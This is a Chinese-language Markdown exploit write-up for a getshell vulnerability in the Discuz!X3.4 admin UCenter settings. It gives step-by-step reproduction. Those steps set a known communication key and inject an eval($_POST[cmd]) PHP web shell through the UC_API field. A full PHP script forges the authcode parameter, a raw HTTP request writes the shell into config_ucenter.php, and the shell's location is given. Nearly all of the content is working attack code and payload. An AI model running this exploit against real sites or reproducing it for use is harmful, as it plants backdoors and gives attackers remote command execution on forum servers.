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105 lines
3.2 KiB
Markdown
105 lines
3.2 KiB
Markdown
# Discuz!X3.4 后台修改UCenter配置getshell漏洞
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## 漏洞复现
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漏洞利用流程如下：
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1. 进入后台`站长`-`UCenter设置`，修改UCenter通信密钥为`123456`。
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2. 修改UC_API=`http://your-ip/discuz!x3.4/uc_server');eval($_POST[cmd]);//`，点击保存。
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3. 利用UC_KEY(dz) 生成code参数，执行脚本`php ucode.php`生成code。
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4. Burpsuite带code参数发送GET请求，结果为1表示成功。
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生成code参数的脚本 ucode.php：
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```php
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<?php
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$uc_key="123456";//此处填写刚才UCenter设置的值
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$time = time() + 720000;
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$str = "time=".$time."&action=updateapps";
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$code = authcode($str,"ENCODE",$uc_key);
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$code = str_replace('+','%2b',$code);
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$code = str_replace('/','%2f',$code);
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echo $code;
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function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
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$ckey_length = 4;
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$key = md5($key != '' ? $key : '123456');
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$keya = md5(substr($key, 0, 16));
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$keyb = md5(substr($key, 16, 16));
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$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
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$cryptkey = $keya.md5($keya.$keyc);
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$key_length = strlen($cryptkey);
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$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
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$string_length = strlen($string);
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$result = '';
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$box = range(0, 255);
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$rndkey = array();
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for($i = 0; $i <= 255; $i++) {
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$rndkey[$i] = ord($cryptkey[$i % $key_length]);
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}
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for($j = $i = 0; $i < 256; $i++) {
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$j = ($j + $box[$i] + $rndkey[$i]) % 256;
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$tmp = $box[$i];
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$box[$i] = $box[$j];
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$box[$j] = $tmp;
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}
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for($a = $j = $i = 0; $i < $string_length; $i++) {
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$a = ($a + 1) % 256;
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$j = ($j + $box[$a]) % 256;
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$tmp = $box[$a];
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$box[$a] = $box[$j];
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$box[$j] = $tmp;
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$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
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}
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if($operation == 'DECODE') {
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if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
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return substr($result, 26);
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} else {
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return '';
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}
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} else {
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return $keyc.str_replace('=', '', base64_encode($result));
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}
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}
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?>
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```
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带code参数发送GET请求：
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请求数据包：
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```
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GET /discuz!x3.4/api/uc.php?code=ac7091oTLALD6X24gZeiX5YmqDkLnX4ivIqx1jDnA7NhUAcHHOX3fWWOLWpGwSwfQfz4r5Pgf86bRlDTRkQ% HTTP/1.1
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Host: your-ip
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8
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Connection: close
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Content-Length: 133
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<root>
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<item id="UC_API">http://your-ip/discuz!x3.4/uc_server</item>
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</root>
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```
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Shell 地址：
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```
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http://your-ip/discuz!x3.4/config/config_ucenter.php
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```
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